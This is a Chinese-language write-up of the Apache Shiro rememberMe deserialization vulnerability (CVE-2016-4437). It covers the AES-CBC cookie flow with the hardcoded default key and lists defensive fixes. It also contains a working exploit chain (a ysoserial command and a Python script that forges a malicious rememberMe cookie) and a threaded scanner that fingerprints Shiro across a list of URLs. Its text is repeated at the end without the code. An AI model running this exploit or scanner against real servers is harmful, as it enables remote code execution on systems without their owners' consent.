Shiro反序列化分析带思路及组件检测笔记
字数 1363 2025-08-18 17:33:30

Apache Shiro 反序列化漏洞分析与利用指南

漏洞概述

Apache Shiro <= 1.2.4 版本存在反序列化漏洞(CVE-2016-4437),攻击者可以通过构造恶意的rememberMe cookie值,利用Shiro默认的AES加密密钥,执行任意代码。

漏洞原理

Shiro的CookieRememberMeManager类在处理"记住我"功能时存在以下流程:

  1. 检索rememberMe cookie的值
  2. Base64解码
  3. 使用AES解密
  4. 使用Java反序列化(ObjectInputStream)

漏洞关键点:

  • 使用硬编码的AES加密密钥(kPH+bIxk5D2deZiIxcaaaA==
  • 对用户可控的rememberMe值进行反序列化操作

环境搭建

  1. 下载Shiro 1.2.4版本的war包
  2. 将war包放入Tomcat的webapps目录
  3. 启动Tomcat,war包会自动解压
  4. 使用IDEA打开解压后的文件夹进行调试

IDEA调试配置:

  • Run -> Edit Configurations
  • 添加Tomcat Server (Local)
  • 配置Tomcat路径
  • 选择JRE版本
  • Deployment中添加解压后的shiro文件夹

漏洞分析

加密流程分析

  1. 用户登录时勾选"Remember Me"
  2. Shiro将用户名序列化
  3. 使用AES加密序列化数据:
    • 密钥:kPH+bIxk5D2deZiIxcaaaA==(Base64解码后使用)
    • 模式:CBC
    • 填充:PKCS5Padding
    • IV:随机生成的16字节
  4. 将IV与加密结果拼接
  5. 对拼接结果进行Base64编码
  6. 将结果存入rememberMe cookie

加密过程伪代码:

明文 = 序列化(用户名)
IV = 随机16字节
密文 = AES_CBC_加密(明文, 密钥, IV)
最终结果 = Base64(IV + 密文)

解密流程分析

  1. 从cookie中获取rememberMe值
  2. Base64解码
  3. 分离前16字节作为IV,剩余部分作为密文
  4. AES解密:
    • 使用相同密钥
    • CBC模式
    • PKCS5Padding
  5. 对解密结果进行反序列化

解密过程伪代码:

原始数据 = Base64解码(rememberMe值)
IV = 原始数据[0:16]
密文 = 原始数据[16:]
明文 = AES_CBC_解密(密文, 密钥, IV)
反序列化(明文)

漏洞利用点

  1. 密钥硬编码在AbstractRememberMeManager类中
  2. 攻击者可以构造恶意序列化数据,使用已知密钥加密
  3. Shiro会解密并反序列化攻击者提供的数据

漏洞利用

利用工具

使用ysoserial生成反序列化payload:

java -jar ysoserial.jar CommonsCollections10 "command" > payload.bin

Python利用脚本

from Crypto.Cipher import AES
import base64, uuid
import subprocess

key = 'kPH+bIxk5D2deZiIxcaaaA=='

def encrypt(target):
    iv = uuid.uuid4().bytes  # 随机生成16字节IV
    realkey = base64.b64decode(key)  # 解码密钥
    mode = AES.MODE_CBC
    pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode()
    resultAES = AES.new(realkey, mode, iv)
    nice = resultAES.encrypt(pad(target))
    nice = iv + nice
    nice = base64.b64encode(nice)
    return nice.decode("utf-8")

# 生成payload
popen = subprocess.Popen('java -jar ysoserial.jar CommonsCollections10 "command"', 
                         shell=True, stdout=subprocess.PIPE)
payload = popen.stdout.read()

# 加密payload
rememberMe_cookie = encrypt(payload)
print("恶意rememberMe cookie:", rememberMe_cookie)

利用步骤

  1. 使用ysoserial生成恶意序列化payload
  2. 使用上述脚本加密payload
  3. 将生成的rememberMe值作为cookie发送给目标
  4. 目标服务器会解密并反序列化payload,执行命令

Shiro组件检测

检测脚本

import requests
import re
import threadpool

requests.packages.urllib3.disable_warnings()

def check_shiro(url):
    headers = {'Cookie': 'rememberMe=1'}
    try:
        # 不跟随重定向
        resp_no_redirect = requests.head(url, headers=headers, 
                                       allow_redirects=False, 
                                       verify=False, 
                                       timeout=6)
        # 跟随重定向
        resp_with_redirect = requests.head(url, headers=headers, 
                                         verify=False, 
                                         timeout=6)
        
        # 检查响应头
        for resp in [resp_no_redirect, resp_with_redirect]:
            headers = str(resp.headers)
            if ('rememberMe' in headers or 
                'deleteMe' in headers or 
                re.search('^re(.*?)Me', headers)):
                return True
        return False
    except:
        return False

def main():
    with open('urls.txt') as f:
        urls = [line.strip() for line in f]
    
    pool = threadpool.ThreadPool(10)
    requests = threadpool.makeRequests(check_shiro, urls)
    [pool.putRequest(req) for req in requests]
    pool.wait()

if __name__ == "__main__":
    main()

检测条件

  1. 发送带有rememberMe=1的cookie
  2. 检查响应头是否包含:
    • rememberMe
    • deleteMe
    • 匹配正则^re(.*?)Me的字段
  3. 分别检查跟随重定向和不跟随重定向的情况

防御措施

  1. 升级Shiro到最新版本
  2. 修改默认加密密钥
  3. 禁用rememberMe功能(如果不需要)
  4. 使用Java安全管理器限制反序列化

总结

Shiro反序列化漏洞利用条件简单,危害严重。通过分析加密解密流程,攻击者可以构造恶意payload实现远程代码执行。管理员应及时升级组件并修改默认配置,开发者应避免使用不安全的反序列化操作。

Apache Shiro 反序列化漏洞分析与利用指南 漏洞概述 Apache Shiro <= 1.2.4 版本存在反序列化漏洞(CVE-2016-4437),攻击者可以通过构造恶意的rememberMe cookie值,利用Shiro默认的AES加密密钥,执行任意代码。 漏洞原理 Shiro的 CookieRememberMeManager 类在处理"记住我"功能时存在以下流程: 检索rememberMe cookie的值 Base64解码 使用AES解密 使用Java反序列化(ObjectInputStream) 漏洞关键点: 使用硬编码的AES加密密钥( kPH+bIxk5D2deZiIxcaaaA== ) 对用户可控的rememberMe值进行反序列化操作 环境搭建 下载Shiro 1.2.4版本的war包 将war包放入Tomcat的webapps目录 启动Tomcat,war包会自动解压 使用IDEA打开解压后的文件夹进行调试 IDEA调试配置: Run -> Edit Configurations 添加Tomcat Server (Local) 配置Tomcat路径 选择JRE版本 Deployment中添加解压后的shiro文件夹 漏洞分析 加密流程分析 用户登录时勾选"Remember Me" Shiro将用户名序列化 使用AES加密序列化数据: 密钥: kPH+bIxk5D2deZiIxcaaaA== (Base64解码后使用) 模式:CBC 填充:PKCS5Padding IV:随机生成的16字节 将IV与加密结果拼接 对拼接结果进行Base64编码 将结果存入rememberMe cookie 加密过程伪代码: 解密流程分析 从cookie中获取rememberMe值 Base64解码 分离前16字节作为IV,剩余部分作为密文 AES解密: 使用相同密钥 CBC模式 PKCS5Padding 对解密结果进行反序列化 解密过程伪代码: 漏洞利用点 密钥硬编码在 AbstractRememberMeManager 类中 攻击者可以构造恶意序列化数据,使用已知密钥加密 Shiro会解密并反序列化攻击者提供的数据 漏洞利用 利用工具 使用ysoserial生成反序列化payload: Python利用脚本 利用步骤 使用ysoserial生成恶意序列化payload 使用上述脚本加密payload 将生成的rememberMe值作为cookie发送给目标 目标服务器会解密并反序列化payload,执行命令 Shiro组件检测 检测脚本 检测条件 发送带有rememberMe=1的cookie 检查响应头是否包含: rememberMe deleteMe 匹配正则 ^re(.*?)Me 的字段 分别检查跟随重定向和不跟随重定向的情况 防御措施 升级Shiro到最新版本 修改默认加密密钥 禁用rememberMe功能(如果不需要) 使用Java安全管理器限制反序列化 总结 Shiro反序列化漏洞利用条件简单,危害严重。通过分析加密解密流程,攻击者可以构造恶意payload实现远程代码执行。管理员应及时升级组件并修改默认配置,开发者应避免使用不安全的反序列化操作。